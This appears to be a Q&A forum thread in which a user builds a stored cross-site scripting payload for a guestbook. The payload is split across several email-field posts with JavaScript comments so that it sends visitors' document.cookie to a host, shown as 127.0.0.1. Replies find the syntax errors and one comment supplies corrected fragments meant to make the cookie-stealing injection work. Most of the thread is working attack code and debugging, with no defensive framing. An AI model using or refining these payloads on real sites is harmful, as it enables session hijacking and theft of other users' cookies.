3
<a href='mailto:</a><script>/*'></a><script>/*</a>:
 <br>   
<hr>
<a href='mailto:*/location.href=/*'>*/location.href=/*</a>: 
<br>
<hr>
<a href='mailto:*/"http://127.0.0.1/"/*'>*/"http://127.0.0.1/"/*</a>:
 <br>
<hr>
<a href='mailto:*/+document.cookie;/*'>*/+document.cookie;/*</a>:   
 <br>
<hr>
<a href='mailto:*/</script><a>'>*/</script><a></a>

I'm injecting into a guestbook setup where the XSS is injected by changing the email address. The email max length is short enough where I have to spread across multiple posts. When testing, I'm able to execute alert(1); but when I have to spread a more complicated expression over multiple lines, things break. What am I missing?

  • 2
    I think you mixed up > and ' in the first line. – Gumbo Jun 30 '14 at 5:05
  • I think you're right. I had been doing some testing with vim and must not have changed things back completely. – Chris Jun 30 '14 at 18:05
3

With the comments removed, your code looks like this:

<a href='mailto:</a><script>location.href=location.href="http://127.0.0.1/""http://127.0.0.1/"+document.cookie;+document.cookie;</script><a>'>*/</script><a></a>

This results in a syntax error, which prevents the code from running. Particularly, the "" is problematic, triggering a SyntaxError for "Unexpected string."

  • 2
    Moving the concatenation from document.cookie to "http://127.0.0.1/" should work: </a><script>/*, */location.href=/*, */"http://127.0.0.1/"+/*, */document.cookie;/*, and */</script>. This would end up with location.href=location.href="http://127.0.0.1/"+"http://127.0.0.1/"+document.cookie;document.cookie; – Gumbo Jun 30 '14 at 5:17
  • I see. I had been thinking all of the HTML within and including the <a> tags was getting filtered out. I didn't realize that the comments are being reflected in two places effectively. Seeing as how my inputs are reflected in two places, what is the best method for being able to inject JS? This seems like a difficult limitation to work around. – Chris Jun 30 '14 at 18:09
  • @Chris Do the mentioned fractions not work? – Gumbo Jun 30 '14 at 19:53
  • Unfortunately, no. – Chris Jul 2 '14 at 2:02
  • @Chris I think the first should read '></a><script>/*. – Gumbo Jul 2 '14 at 10:12
1

Assuming that this is the code that is displayed on the webpage, I would say that the URL you pass to location.href is malformed which makes the Javascript crash. Hence, nothing happen. Your code if you reformat it and remove the comments look like that (and there seems to have a typo for the > character on the first line...)

<a href='mailto:</a><script>/*>'</a><script>location.href="http://127.0.0.1/"+document.cookie;</script><a></a>

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.